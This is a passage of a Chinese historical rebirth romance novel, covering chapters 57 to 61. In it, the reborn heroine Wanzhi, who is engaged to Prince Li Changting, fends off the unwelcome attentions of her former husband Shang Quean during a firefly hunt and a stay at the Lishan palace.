为此妧枝不得不松解开衣带,只觉得里面有虫子在往里钻,她拉扯下衣物,露出香肩。
圆润而削薄的肩背在月光下,仿佛镀了一层柔和而朦胧的光,山上还有星星点点在游走的灯火和呼声。
衣带跌落在地上,她低着头毫无所觉,一意清理检查着身上还有没有其他东西,她不知道仅剩半边的抹[月凶]小衣被人看得一干二净。
颀白的秀颈和纤弱的腰肢,鼓[囊][囊]位置更是一如在喜房里的惊鸿一瞥。
她往后稍稍一退,还在想为什么这么久了,历常珽怎么不发一语。
然而退一步她撞进了一道坚实而宽阔的胸膛,背上光洁的皮肤摩擦着男子卷起袖口,修长而有力的手腕。
如同撩起火一般,有炙热而酥麻的触感。
妧枝惊讶而意外地和莫名出现在她身后,深刻盯着她的商榷安对上目光,电光火石间,她听见了不远山上有人喊他们的声音。
妧枝瞬间反应过来,想将其推开,“怎么是你?”
她看似好失落好失望很不愿意见到的人是他,两眼都是抗拒和警惕。
商榷安却在妧枝闯入他怀里时,莫名揽住了那对双肩,不如何用力,仿佛同样只是意外,似搭非搭的落在那里,又微微保持距离。
“是你自己闯进来的。”他棱模两可地回应。
妧枝:“胡说,我明明拉的人是常珽……”
商榷安依旧认定,“你带走的是我。”
妧枝看着他那双眼睛,在幽漆却又亮满灯火的山林中,商榷安盯着她的眼神还是捉摸不透,深不可测。
她明明推了他一把,他好似没有紧搂着她,她却无形中在他注视下感受到一种难以挣脱的桎梏。
“放开。”
妧枝呵斥。
在那边侍卫和其他人找来之前,他们相贴的有些失了分寸,看似如同留有缝隙,可却对另一方的炙热的呼吸体温感受清晰。
上一世他们有过肌肤之亲,圆房过。
可这一世,商榷安有了商唯真,妧枝亦有了历常珽。
她已要作他人的妇人,开启新的人生,商榷安也应与自己上辈子就惦念的心上人达成圆满。
此刻妧枝和他有什么相干?
“放开,否则我让你名誉扫地。”妧枝威胁。
她感觉肩头有微松之意,而火把的光耀越来越近,她匆匆推开他,到另一边去整理。
在历常珽奔走找来之前,妧枝先一步穿戴整齐,朝着呼声的方向奔去。
她身后,商榷安被她一推,不怎么用力却有着惯性。
他默默一退,往一旁的树干靠去,沉默而又深邃望着那道毫不留念的身影,鼻间手上仅存一片孤独残留的肌肤香气。
冰冷细腻。
第58章 美娇娘。
“阿兄怎么回来的这么晚,刚才我怎么都找不见你?”
商唯真看着商榷安朝她走来,他一个人不在零散的夜游的队伍之中,不知道去哪儿了。
而刚才发生了段插曲,锦瀚郡王的未婚妻害怕流萤,被吓跑了。
出事时,商唯真和认识的妇人在一起,等她发现时,发觉一些人好像不见了。
商榷安:“就在附近。”
商唯真微微一愣,“是吗?”她不是不了解商榷安,好歹从小一起长大的。
榷安阿兄就是比较要强,悲喜不常挂于脸上,但他心情不悦的时候,总会让人想要退避三舍。
商唯真有种不好的预感,商榷安也没有再回她,她并不是每次话都会掉在地上没人捡。
但是今夜,商榷安给她的感觉莫名古怪。
这份古怪持续到她得知妧枝被人找到,“怎么这般胆小?不过一群流萤,有什么好怕的,既然害怕,为何又要来掺和?”
在她身旁的妇人感到颇为扫兴,讨论道。
“真是天生胆子娇,惯会装模作样啊……”
“瞧你说的,不装又如何引得男子怜惜?”
“好一个会耍手段的狐狸精。”
“商娘子。”一位妃嫔走近了道:“商娘子,方才你都没看见吧?”
商唯真面露疑惑,“什么?”
“刚才妧娘子顺手抓错了人,拉着商密使跑了。”
“商娘子,商娘子你还好吗?”
“……”
“阿枝,你怎么样?”妧枝从密林中跑出,回到火把光亮处。
迎面而来的便是焦急寻找她的历常珽,“我没事。”
妧枝靠近他怀里,出声回应,“我以为你在我身边,拉走的是你。”
历常珽倏然安静。
他刚才也看到了妧枝拉错人的一幕,可商榷安为何会在那时离妧枝那么近?
当初在濉安王府,他对妧枝是敬而远之的姿态。
更是不愿意与妧枝议亲而说出另外一番言论。
后来换人,他私下里又暗自接近妧枝,直到后来和如今,他到底想做什么?
“不怪你,阿枝。”
人都有慌乱的时候,是他未曾了解清楚妧枝的喜好与避讳。
历常珽一边宽慰,一边朝着人群另一边的方向望去,不期然与一个人视线相撞。
隔着树木与流萤,商榷安也看到了妧枝跟他在一起,眼睛未曾有一丝避让。
之前总是弄不明白商榷安为何要对一个女子有如此古怪的针对之意,而今更是悄无声息关注着妧枝。
历常珽转了个身,将妧枝挡在怀里,避开了商榷安的视线,“怎么了?”
妧枝不解问。
“无事。”不去细想对方眼里的含义,和此番暧昧的举动信号,历常珽都觉得早日离开骊山最好。
妧枝跑丢,不过是一回小小插曲。
称不上风波,连圣上那边都未曾惊动,只是因找她,历常珽抓来的流萤都一并飞走了。
眼看众人齐聚,那边侍卫都在寻大臣要清点今夜的战利品,而妧枝和历常珽两手空空。
就在这时,忽然有一宫人匆匆过来。
趁着人群不注意,将一袋子萤火塞到妧枝手里,“商密使交代给娘子的,娘子快收下。”
妧枝怔然,与历常珽二人还未反应过来,那宫人便十分自然装作不经意从身边离去。
正巧侍卫走到这边来,“还请郡王和娘子提交流萤。”
妧枝越过对方身侧,视线落到商唯真身边的商榷安那里,仿佛对他们这边没有在意,那个人并未投过来视线。
然而刚才宫人的话并非作假,明明妧枝落到最后,将会受到圣上惩罚,为何商榷安还要帮她作弊……
他又是什么时候收集的流萤。
“这位娘子?”侍卫见她迟迟未动,不由疑惑提醒。
一只手代由她给出去,“这里。”
侍卫接了过去,妧枝不禁看向历常珽,似是不解他为什么这么做。
“常珽……”这样莫不是欠了旁人人情?
妧枝并不需要这样的好意。
历常珽温声安慰,“阿枝,无妨,先将紧要关头应付过去。”
不管商榷安出于何种心思,历常珽都考虑到大局为重,未免妧枝再因莫须有的罪名受到惩罚。
宫人兜兜转转,回到商榷安那头,“商密使,流萤给出去了,此事办妥了。”
在他身旁,商唯真一脸懵懂无知,甚是不解,“什么流萤?阿兄,不是帮我抓了一些吗?”
还要给谁?
然而宫人禀告完,根本不答话,退让到一旁。
商榷安面向商唯真,眼神幽漆而清冷,“一个故人。”
故人是谁?
商唯真讪讪张嘴,然而心有所想,商榷安却已将脸转向一旁,她再问不出来。
什么时候,榷安阿兄还会有故人了?
从前他遇见什么人,都会书信和她提一两句,是来京都之后认识的吗?为何她一无所知……
即是故人,也不该是那样一副清幽藏着暗火的表情。
商唯真心中藏起四面而生的惊惶不安,恰好侍卫那边终于有了结果。
“今日捉来的流萤,经过点数,胜者有两百七十三只,最少的三十六只……”
“获胜者,是屈大人及其夫人……败者乃莫大人,以一只相差得了个末等。”
张贵妃在圣人身旁颇为讶异地说道:“怎么和预料中的不一样?不是都没分派绳网给他们……”
“这莫大人怎这般体力不济,有了东西还能捉这么少?”
其他妃嫔接话道:“那也要看郡王,年轻力壮,可不是更灵活些。”
“可惜了……”
张贵妃眼珠一转,瞥到了人群中等待结果的其他人头上,她喃喃道:“商娘子瞧着好像不高兴啊,怎地没得彩头,一副要哭了的模样?这商密使也不哄哄?”
商榷安早就是国之重臣,张贵妃的兄长就在刑部,早年也是学府公子,半个商密使的同窗。
虽然当年未能在对方孤立无援时出手相助,但也未落井下石过,而今更是有心与商密使交好,二人共同搭伴处理过朝中大案。
张贵妃被叮嘱千万不要得罪了商密使,还要对他异父异母的阿妹多加照顾,于是道:“陛下,快看呀,没能争夺头筹,商小娘子都要伤心哭了。”
俨然,谁能获胜不过是桩小事。
败者又并非是预料之中的历郡王和妧枝,今夜小西园捕萤,也就成了无伤大雅的活动。
为了宽慰人心,尤其是心腹重臣,圣人道:“这是怎么回事?派人去问问,商密使和那位商娘子,是怎么了?”
侍卫当场领命,前去问询。
商唯真倒未想到,张贵妃对她这么好,这样也能留意到她受了委屈。
她强颜欢笑,眼眶却逐渐湿润了,“没什么大事,不过是风沙迷了眼睛,有点痛罢了……”
她这么说时,留意着商榷安的反应,但商榷安似怀有心事,瞧着颇有些无动于衷。
商唯真从未见过这样的榷安阿兄,一时委屈到忍不住哽咽……
张贵妃正与其他妃嫔妹妹说着话,侍卫前来禀告后,她往那头一瞥。
正好将商唯真悄悄抹泪的样子看在眼里,不仅惊奇且颇为不解。
“这,这又是怎么了?”一旁圣人正在例行赏赐,被张贵妃的话语吸引,不禁问了一句。
“什么又怎么了?”
下一刻,张贵妃眼中出现一只手抬起衣袖,为商唯真擦泪的一幕。
她顿时松了口气,还以为商密使和这位异父异母的好妹妹闹掰了呢。
“没什么,是臣妾看错眼了,以为有人闹不和呢。”
在趁着圣人倾听她的话时,张贵妃忽而换了一副语气,精神也与刚才不同,多了几分兴致,“陛下,您看,商密使而今不小了,像他这般得您看重的有为臣子,这个年岁已经是有两个孩子的父亲了。”
“眼下这位还未议亲吧?这将来也不能没有贤妻良母陪伴左右啊,不知道的还以为陛下您太过看重大臣,让商密使为君国大事忙碌,才耽误了亲事。”
圣人顿时看向商榷安的方向,观测片刻后,道:“你说的有理,朕之重臣,再为国效力,也该考虑自己的终身大事。”
“你方才的意思,是想让朕还是由你帮他牵线,相看个美娇娘啊?”
张贵妃摇头,“诶,不对……”
“陛下,您看那边,不是正有现成的吗?这郎情妾意,可不要打散了一对好鸳鸯。”
林中树下,对着火光,年长的郎君正为娇小的人影擦拂掉在脸上的泪水。
女子小声啜泣,已引起旁人注意。
妧枝也听到附近窃窃私语的动静,她循声看去,不曾想意外地看到商唯真伤心落泪的画面。
而她身旁的商榷安只沉默地为她擦拭着面庞,偶尔才简短的开一次口,像是在劝商唯真别哭了。
如同知晓已经引起旁人目光,更是对视线的敏锐,商榷安突然朝她的方向抬眸谛视过来。
妧枝和他眼眸一触,不由想起今夜在林中一角的一幕。
不管商榷安出于何种理由,有意还是无意跟她到树林里躲避,都希望不要再有下次。
也最好不要将事情传出去,否则,她也不会让他好过。
第59章 她想要个孩子。
夜游结束后,众人回了房屋。
商唯真虽然不在默默流眼泪,但还是一脸伤心地回到小院里。
她比往日更加安静,肉眼可察觉出她今夜的状态不对。
婢女不敢劝慰,商榷安还在房中,往日商娘子有哪里不高兴,大郎君都会问候两句。
但通常他更懂娘子心思,一猜就透。
今夜真是格外离奇,商娘子进门便往卧房里走,一顿趴在床榻上,有时轻时重的嘤嘤啜泣声流出。
不知是被什么事给招惹住了,从未见她这般难受。
而大郎君亦只默然地站在屋中央,不曾走到卧室里对商娘子好生安慰。
他应是有听见那委屈的哭啼声的,然而婢女正想向他请示,该怎么办时。
大郎君告诉她,“烧些热水,等娘子起身后用来擦面。”
这都是寻常安排,没什么不妥,但婢女还是一愣。
皆因大郎君说完这几句话就走了。
他一走,商娘子那里哭声渐弱,等了一会儿,像是知道了房中没有在意的人了,整个都静默下来。
隔壁还亮着灯火,妧枝和历常珽是与他们同一段路回来的。
区别于,二人在前,商榷安和商唯真在后。
四个人,身边的男子各提一盏灯,一路上气氛古怪而安静,没有一个人搭腔。
妧枝路上都和历常珽牵着手,本是袖口碰着袖口,但不知不觉就有了其他动静。
尾指勾在一起,像在嬉闹一样。
她一时都忘了还有商榷安和商唯真在后面,等进了门,回了她和历常珽的院落,就彻底将这二人抛之在脑后。
商榷安自是没有睡,他在院子里坐着,下属惊见他这么晚了还在外面,桌上的茶早已冷却。
本是要劝他早些回去歇息,商娘子那里今夜有些不大对,然而刚靠近过来,还未开口,就被大郎君抬起的手制止住了。
示意他什么都不要说,驱赶走。
隔壁院子的灯在此时一盏接一盏的熄灭,唯独这边还亮着,竟显得空寂伶仃。
这一夜,并不像往常那么好眠。
但是周围特别幽静,万籁俱寂,独坐在夜中的商榷安仿佛回到从前。
从商朔老家到京都的路,非常遥远,并不好走。
他从泥泞中爬起来,摔过一次又一次,再站起来再摔。
无人高看过他曾经濉安王府世子的身份一眼。
即便商唯真总是安慰,“没事的,痛不痛啊,阿兄?阿兄最厉害……”,“等阿兄做了官,让那些瞧不起阿兄的人都看看,什么才是真正的云泥之别”。
这些都不过是无关痛痒的言语,他总是装作无事,也是因为商唯真需要些许信心,让她心里也好受些。
但只有真正经历过旁人眼色,刁难不屑的商榷安才记得住其中滋味。
商朔病后,年事已高,为了恩情他自当去药铺请大夫为他续命,每日用药花费他都烂熟于心。
期间还要照料商唯真,她年纪尚小,总有窥探于她心怀不轨的男子。
此外,他要读书忙于乡试会试,镇上有加员外郎肯施予他记账的活计,挣点外财。
家中的生计尚且有商唯真看顾,但她并不能做些什么,所以开垦院中的田地亦由商榷安来忙碌。
这些过去不为人知,他也从未跟任何人提,如今所有人看到的,都是已经功成名就,官居高位的商大郎君。
多么风光,倨傲横行。
只有曾经独自走在乡间道路上的少年郎,单薄身影,始终困在一条暗巷中,不曾出去。
他从他的眼睛里看到一间后宅里,洒扫干净的庭院中来了位新的年轻小妇人。
成婚五年,他与妧枝的关系毫无进展,彼此疏离,中间布满隔阂。
女子刚忙完外院的事宜,终于能闲下来松口气。
路上被从矮墙上跳下来的猫拦住去路,婢女匆忙招呼着,“大夫人小心。”
妧枝:“我没事,别赶它走。”
那只猫围在她腿边绕圈,一直叫唤个不停。
她蹲下身,摸了摸它的脑袋,一脸诧异而又惊喜地对婢女说:“快看,原来是只母猫,它有身孕了。”
“快找些吃的给它。”
婢女听话的前去安排,拿了一碟肉干来。
妧枝沾湿了点水,在肉干变得稍软以后扯成丝,一条一条给猫喂起来,“好猫儿,多吃点,你才有力气生孩子。”
婢女见她对只畜生颇具温柔和耐心,不禁道:“这母猫找上大夫人,是来给大夫人报喜的呢。等将来,大夫人肚子也能有个好信儿……”
妧枝在圆房就喝过避子汤,药效长久,只要商榷安不弄在里面,这几年她葵水都如约而至,从未有过推迟。
婢女似是忘了有这回事,还在期盼妧枝也能借此有个好运,能一举得男。
而不管耳畔响起什么喜气讨好的词,妧枝都含蓄笑着,不给一丝回应。
唯一说的话,都是“好猫儿,多吃些”。
暗巷里被困住的少年身影化作庭院中另一条道路上,沉默旁观许久的成年郎君。
偶尔回府的商榷安将婢女和妧枝说话的一幕看得清清楚楚,她想要个孩子。
她也知晓她自己不可能会有孩子。
后来,她为了妧家的事忙前忙后,四处奔走,再见商榷安已是陌路,夫妻二人更是久不曾同房,见一面都堪称生疏。
再后来,他领回来一个孩子到家中。
令人触目惊心的,妧枝吐了一口血,在帕子上。
他让人把孩子抱下去,想要替她把脉请大夫来看诊。
但是她从椅子上起来,从他身旁掠过,抵着唇轻咳,神情冷漠,“恭喜了。”
恭贺的是商榷安终于有了一子,喜的是,不是她生的。
她也快死了,商榷安和商唯真能不避讳终成眷属了。
清晨露水更重,尤其山中,夏季不管枝叶都覆盖上一层冰雾。
而商唯真的婢女从房中出来,蓦然下台阶时发觉踩到一块肉,吓得差点尖叫出声。
等认出来才发觉是大郎君的下属枕戈,竟然没回房中反倒靠着台阶处凑合着睡着了。
而院子里的石桌旁,还有一道熟悉沉稳的冰冷身影。
大郎君好似对着隔壁院子坐了一晚上。
头上的发髻已然凝结成霜,有几滴晨露落在发丝上,在婢女的动静惊扰到他时,商榷安才不缓不慢地回头起身。
神色如常,只是眼底深处浮现出一抹红血丝一样。
妧枝在榻上醒后,发觉今日隔壁远比往日要安静。
她在房中即使没了倦意,却并未那么快起身。
她与历常珽并不在同一间房入眠,二人未曾成亲,到底没能迈出破坏世俗规矩那一步。
她隐隐听见历常珽的屋子里有人走动了,“妧娘子醒了吗?”
他房里的下属说话,“未曾看到妧娘子出来,婢女说应当还在歇息着。”
历常珽道:“那别惊扰了她,去准备吃的来,再过一两刻时辰应该差不多了。”
历常珽估摸着妧枝睡醒的时间,以他对她的了解,妧枝也是个很勤快的人,她会约束自己,并不会过于让自己贪图享受,一觉不起。
“是,郡王。”下属却不曾马上离开,而是在下一刻道:“有件事,属下想要向郡王禀告。”
“什么事?”
“今晨……天色微亮的时候,属下从院子另一边出来,看到隔壁院子里商密使坐在那,正对着妧娘子的屋子,直到天亮才离开。”
历常珽在屋里看着下属,原本温和的神情倏然一变,多了一丝威严,“这是什么意思?”
下属迟疑:“这,属下也不知,那商密使只是呆坐在那,除此以外,并没有其他动作。”
历常珽不说话了,只是下属明显感觉出脾气向来宁和的郡王因为涉及妧娘子,已然动怒了。
眼下虽然没有表态,可眼神说明了一切。
过了一会,只听历常珽道:“我知道了,此事不要让妧娘子知晓,免得她担忧。”
“是。”
在外人来看,这妧娘子和商密使完全是半杆子打不着的关系,却莫名其妙被人注意上了,难免会心里不安。
历常珽体贴,不想让妧枝操心,于是有意隐瞒下来。
而另一边,隔着薄薄的一道雕花木墙,妧枝却将他们的对话纳入耳中。
毫不意外听见历常珽和下属提及到了商榷安。
她可不知哪里又招惹到了这位商大郎君,还对着她的房门坐了一夜,妧枝上一世何曾有过这样的待遇。
也只有商榷安的好妹妹有一点风吹草动才有这种耐心。
她想起来,去找历常珽说说,要他不要将对方放在心上。
然而历常珽却忽然有了其他决定,“我有事出去一趟,等妧娘子醒了,让人好生照顾她,不必为我担心,等我回来就好。”
下属并未问询历常珽去哪儿,只答应下来,旁边屋子便恢复安静。
而出门声也渐渐消失了。
行宫镛文殿里,张贵妃打着呵欠,一身娇懒的将穿戴整洁的圣人送出了门。
待到圣人御驾消失在眼前,她转身回到桌边。
在昨夜不久前,这张桌案上的砚台墨汁刚干,她手捧着一样物什,感叹道:“为这事可真不容易,商小娘子欠我的情分可就大了,得好生感谢本宫才行呐。”
第60章 你和他回京之后打算做什……
今日骊山行宫并不太平,锦瀚郡王一早便来求见圣上。
时辰尚早,圣人还在镛文宫不曾作出对今日的安排,锦瀚郡王就来了议事的偏殿,要一直等待圣人。
宫人上了一盏茶,“郡王先润润嗓子吧,圣上那边正在洗漱,还未用早膳,没那么快过来。”
历常珽习以为常,并不意外,“多谢,我就在此等候,不急。”
偏殿外,日出已升,天朗气清。
一个时辰后,历常珽方才见到这位叔父。
他两眼精明而充满威严地向历常珽打量过来,“今日朕可没有召集朝会的意思,尔等可自行游山玩水。”
“你这是什么意思?”
却见历常珽忽然弯下腰行礼,向圣人请示,“还请叔父莫怪,臣来是想向叔父辞行的。”
气氛倏地一静。
圣人重复着历常珽的话,“辞行?群臣都在此,怎地你一个人要去哪儿?”
此次众人是在圣上钦点之下前来伴驾,历常珽忽然请辞,俨然不合规矩。
惹得龙心不悦也是正常。
然而他还是道:“臣想送阿枝下山。”
历常珽被审视着,可以感觉出圣人不语带来的威严之意。
“这是你的想法,还是有人请你来求情的?”
给予妧家那个女儿的刁难不过才开始,也是想试一试此女的性子,能熬得住,说明她的确颇有心计。
熬不住,那也意味着她配不上历常珽。
总之,目的就是想要此女知难而退,成亲人选大可再挑,京都多少名门贵女,未必历常珽一个都看不上眼。
“是我一人的主张。”
历常珽毫不避讳道:“阿枝年纪尚小,她太年轻,家中仅剩一位母亲,还有年幼弟妹需要照看,臣深觉她的不易,所以不想将她留在山中,而想将她送回京都和家人团聚去。”
“你倒是对她情深意重……”圣人没什么表情地感慨。
历常珽直言:“也是因为我,她才遭受这一切,臣只能体谅她多一些。”
况且,这山中已不适合她再继续待下去。
前有妃嫔们和圣人一条心,这行宫还有不少臣子妇人,且他们院子旁边还有人虎视眈眈……
想到今晨下属来禀告的事情,历常珽皱眉,还是让妧枝早日下山为妙。
而他等伴驾结束,也可以早日回府。
“人,叔父已经看过了。张贵妃等也在其中出了不少力气……还请叔父看在我故去阿父份上,成全了我和阿枝。”
“……”
山中泉水旁,不少臣子出来走动,待在竹林边和同僚夫人避暑。
宫人按照吩咐奉上消热的凉茶,另一块巨石边,隔着他人耳目,曾在御前侍奉过的宫人和一道人影道:“锦瀚郡王向圣上求情……”
“要带妧娘子下山了。”
妧枝从榻上起身梳洗后出了房门,门一开,不经意看到了出现在另一个院子里的商唯真和她的婢女。
且商唯真朝她望过来,视线分毫不避让,也比往日多了些不同。
妧枝左脚踏出去,下意识想往回收,然这一世她不曾对不起任何人,也与商唯真不再是姑嫂,没有妨碍她和她阿兄,又何须要避?
于是缓缓提起又放下,照旧如常走了出去。
“娘子醒了。”
历常珽留下的下人前来问候她,“早食都准备好了,娘子想在哪儿吃?”
既然已经出来了,妧枝也就道:“就在外面吧。”
院子里有树影遮挡,尚且有几丝凉意,下人端来吃的摆在桌上。
妧枝坐下,正当她开始动筷时,墙壁另一边忽而一道声音道:“妧娘子,早上好。”
妧枝向着商唯真那边抬眸。
她有婢女相伴在旁,站在镂空的雕花窗前,不加掩饰赤裸而坦然地看着妧枝。
昨日她们在泉水涧,宛如不认识,如今商唯真突然主动接近她是想说什么?
“商娘子。”妧枝不得不放下筷子,却不曾起身凑近,而是就这么安然在石桌旁,隔着距离回视商唯真,“有何贵干?”
商唯真淡淡启唇,“贵干谈不上,只是与妧娘子相识一场,本以为对妧娘子还算颇有了解,却不想,妧娘子身上还有许多我不知道的地方,让人费解。”
妧枝恍如听不出商唯真这番意有所指,她垂下眼眸,看着一桌饭食,还是拿起汤勺,舀起一口浓粥喂进嘴里。
被一番忽视,商唯真身边的婢女看妧枝的眼神多了丝不满。
而商唯真冷不丁问:“我有一件事,想请妧娘子告诉我。”
妧枝喝着粥,不轻不重地回应,“你想问什么?”
“你和我阿兄,到底什么关系?”
话音落,商唯真定定盯着她,只听妧枝面不改色,没有一丝心虚惊慌,而是冷漠以对,“什么都没有。”
“胡说!”商唯真兀地呵斥,“若你真的与他什么都没有,为何昨天夜里,有人瞧见你拉着我阿兄的手就跑了?”
昨夜听见妃嫔说的话的商唯真,仿佛天都塌下来了。
以她对兄长的了解,商榷安身边就没有出现过别的女子,哪怕从他少年时,考了乡试,连员外郎家的小娘子看上他,阿兄都不曾答应。
就更不用说他来京都后遇到的女娘了,阿兄志不在此,什么成家立业,他如今仕途有了,家也早就有了。
根本不需要外来的人挤进他们当中。
“昨夜是个误会。”
妧枝擦了擦嘴,如同一下失了胃口,回应拿她当情敌的商唯真,“你应当去问问你阿兄,我当时呼救的是锦瀚郡王,不知为何他却站在我身后?”
“你们……”
妧枝打断商唯真,“商娘子既然这么关心这件事,应该自己去寻找真相,我与商密使井水不犯河水,互不相干,一直追问是否太冒犯了?”
“我不信。”
商唯真自有她的看法:“这事我自然会和阿兄去谈,但还请妧娘子也多注意自己的身份,既然你已经议亲,婚约在身,就不要接触旁的男子,免得徒生是非,害人害己。”
妧枝再次看向她,这次视线微冷,和商唯真四目相对,好一个害人害己。
她微微勾唇,点了点头,“此话有理,也请商娘子和令兄同样谨记在心,免得违背曾经许下的誓言……遭天打雷劈。”
商唯真愕然睁大双眼,像是第一次见妧枝这么毫不留情。
她一向在人前沉默寡言,是个清冷孤高的女子,张贵妃那么多妃嫔面前,她被不公对待都不敢吭声,却在她面前这样冷嘲讽刺。
是看她身旁无人,还是故意为之?
妧枝推开碗筷,已经没了食欲,不想在院子里看见一脸无辜的商唯真,同下人说道一声,然后转身往院外出了去。
她神情很意外,但有什么必要意外?
上一世,不是她不期望商榷安和她在一起?
因为总是泪流满面,还特意搬出去住了,有商榷安为她安置的私宅,还有什么不满意?
如商唯真所愿,商榷安最后与妧枝也不亲近,十年夫妻如寒冰,她的阿兄对她最是疼惜,这一切不都是商唯真想要的?
她得到的最多,怎么还一副愤恨委屈的模样,说她害人害己?
妧枝往外走去,她来到行宫一处清幽僻静之地,不久之前这里似乎来过其他人。
桌上还摆着被人喝过的茶水,剥过皮的瓜果。
她随处一站,静了静心。
背靠树枝,抬眸就看到不远处来了一道人影,正盯着自己。
下一刻,商榷安提步从她眼前走来。
妧枝并不想与他面对面,当下愣然之后,就要赶紧离开,然而却被商榷安拖过一把椅子,挡住去路。
她再转,商榷安拽住了她的衣袖。
妧枝不得不抬起眼看他,满身防备和厌恶,“你想做什么?”
这样的突兀行径不是商榷安该做的事,失态失宜,有违商大郎君的风范品行。
可事实就是妧枝感觉到攥住她手腕的力道是如此的紧,那双幽漆的黑眸从上而下冰冷而灼灼地盯视着她。
“你今日就要离开行宫?”
妧枝恍然,眼中流泻出一丝纳闷不解,她怎么不知这件事情?莫非……
商榷安:“历常珽向圣人请求,今日要送你下山回京。”
“看来他没与你商量,你也不知情。”
妧枝:“那与你何干?”她飞快反问,眼帘之下充斥着冷淡。
不管历常珽做什么,他总是为她着想,妧枝亦不可能在外人跟前和他站在对立面。
即便她不知情,又哪轮得到商榷安插手一问。
“你该放开我了,我不想与你被其他人看见。”
冰冷的言语从她嫣红的嘴唇里轻吐而出,商榷安只是全神贯注观察着她的面庞,手上却未松动一分,俨然不想松开妧枝的手。
他道:“看见又如何?你我好歹前世还是夫妻,不是毫无瓜葛的两个人。”
妧枝想不到这种话竟会出自商榷安之口,她惊讶无比地瞪着对方,匪夷所思地猜想他为什么会这么说,有什么意图。
简直可笑。
更可恶的是,他还有后话,“即是上一世,你我都未曾和离,到今生,未尝不能以夫妻相称。”
妧枝几乎咬牙切齿,“无耻!”
商榷安未有一丝羞愧,一派镇定,继而问:“你和他回京之后打算做什么?成婚?”
“你已经决定好,嫁给他了?”
他眼神非常深沉,像要看穿妧枝透过眼睛到她心里去。
妧枝因商榷安的无礼质问,早已气得浑身微颤,面色涨红。
她已无法回答商榷安这些话题,说互不相干是他,说两清也是他,上辈子视她如无物,抢占了商唯真的正妻之位,这辈子与他撇的清清楚楚,他却屡次纠缠不清,说出口的狂言令人发指。
“这就是你选定的夫婿。”
“你有没有爱过我?”
商榷安两眼灼灼,直勾勾地看着她。
妧枝面上一片漠然的冷意,仿佛冬日里的寒气,可以凝结成霜。
商榷安从她脸上眉眼窥见出她的心绪,是那样不屑与遥不可及。
那些她对婢女说过的话,成了物是人非的回忆。
婢女说:“大夫人对大郎君真是有心,还在衣裳上绣了画,还有这对鞋袜,都是给大郎君做的。大郎君收下它吗?”
下属不曾接过去,反倒说:“我问问。”
同僚说:“你倒是有个好贤妻,这么久不归家,你家夫人竟还能容忍你?天凉派人叮嘱你多穿衣裳,酷暑还送来解暑汤。”
连他自己也说:“她的确是个很好的女子,只是不适合我。”
某些方面,不尽人意。
……
待到商榷安再朝妧枝瞧去。
她已然借着巧劲,挣脱他拽紧不放的手腕。
回应他的,是该女子冰冷无情蔑视的一瞥,从此拉开距离。
60-70
第61章 强取。
妧枝匆匆回到院子,关上院门,担心后面有人追上。
隔壁商唯真的院子开着门,今日她似乎不想出去。
婢女刚好从另一处回来,眼睛疑惑地看着妧枝,不期然目光好奇对上。
妧枝收回眼帘,什么都没发生般坦然自若地进去。
商榷安真是跟疯了一样来纠缠她,问的话好生没道理,这骊山行宫处处都是危机,妧枝已经明白待不得了。
她不喜欢这里,风景再好,周围都是些算计她的人,旁人是避暑,她却是遇难。
茶桌上,壶里的水已凉,妧枝喝了几口,呼吸方才平缓下来。
那满面危机的神情也逐渐消散,下人听见动静过来,“妧娘子回来了?可有什么吩咐?”
妧枝凝了凝神,回应:“我今日想下山了,有些东西要收拾。”
从商榷安口中,妧枝得到历常珽今日出门的消息。
原来他是另有安排,为了她,他当真去找圣人求情了。
他这样为她考虑,妧枝万不可能做对不起他的事。
隔壁屋,婢女悄悄步入商唯真的房门。
平日脸上挂着微笑的商唯真,今日一副忧郁愁容坐在另一角的窗边,她手中拿着一支笔,因出神笔头上的墨汁早已滴溅在纸上,脏了纸上其他字迹。
婢女小声说道:“娘子,妧娘子那边刚才急匆匆回来,现在好像正在收拾东西。”
商唯真骤然清醒,听见妧枝的消息,秀眉轻蹙,“收拾东西?她要离开行宫?”
婢女点头。
两个院子紧挨着,有点动静并不会遮掩耳目,反倒互通得一清二楚。
商唯真:“她为何要走?是闯了什么祸事,心虚了?”
婢女闻言神情惊愕,却不敢在这时接商唯真的话,像是难以置信这会是她能说出来的。
商唯真笑容早已敛去,“出去瞧瞧。”
那张被划得认不清字迹的纸张被抛弃在桌上,顺势起身的身影有着说不清的干脆利落。
历常珽从外边回来,看到下人正在搬运行李,登时一愣。
此时又见商唯真走出院门,这位商娘子他并不多见,知晓她的身份,但因商榷安的关系,即便是亲表兄弟也十分疏远。
因此对商唯真一样保持远离的姿态,“商娘子。”
“历郡王。”
商唯真和婢女站在门前,历常珽与她们打了个招呼,便往里走。
两女目送着他,直到历常珽稍微回头,才发现她们还在那看着,此时心中不禁有了一丝怪异。
但他没有多想,而是进屋去找妧枝。
“阿枝。”
“常珽。”妧枝正在装自己的衣物,放入箱子里,落上一把小锁。
历常珽正好看见,他走近问:“阿枝,怎么想到收拾东西?”
他今日去求见叔父的事并未告诉妧枝,莫非是妧枝能未卜先知。
他带有一丝温和的微笑,并无怪罪之意。
妧枝望着从门口进来的历常珽,有一丝恍然,他生得俊朗,可也是儒雅的君子,每次见到他,妧枝都觉得备受照顾,不会心生压力。
而只要商榷安一出现,带给妧枝的滋味就十分有强迫性。
她笑起来,不想让自己在他人那里受到的气影响到历常珽,神态轻松自然,主动伸出手让历常珽握住。
也很娇婉柔情地走进他怀里,语气与在外面时很有些不同,“我猜今日一定有人送我归家去,所以提前收拾东西,给他一点惊喜。”
历常珽感受到柔软的娇躯接近,妧枝与他想象中不同,她本是对人都清清淡淡的女子。
但好像他们议亲后,自从妧枝接受了他,走进她心里,她对自己人就会十分主动。
这会他倒有几分不好意思,贴得太近,怕冒犯了未来妻子,却又舍不得这怀中馨香。
“难道你与我心有灵犀,这般默契?”
“郡王以为呢?”
妧枝笑问,和历常珽四目相对,直到他笑着环住她双肩,“你说得对,我的确要送你下山。”
“骊山行宫虽好,但若是让你住的不舒服,就不必一直强行待在这里,你想离去亦是正常。”
历常珽以为是妧枝自己想走。
然而妧枝看着他,并不是很想隐瞒,“是有人告诉我,你去向圣人求情了。”
历常珽:“是顾曲?他怎会知道,我可是谁都没说。”
“不是他……”
妧枝收敛嘴边笑意,却没吐露出姓名,也许她不知该怎么和历常珽提,从上辈子到这辈子的离奇经历。
等她离开骊山行宫,回到京都,就与那些人都不会再见了,也就没有干系了。
不提,就当从来没有这个人罢了。
历常珽似是察觉出什么,他妥帖的没有追问,而是将妧枝反应记在心里。
“等你想说的时候再说吧,还有什么要收拾的,我来一起帮你。”
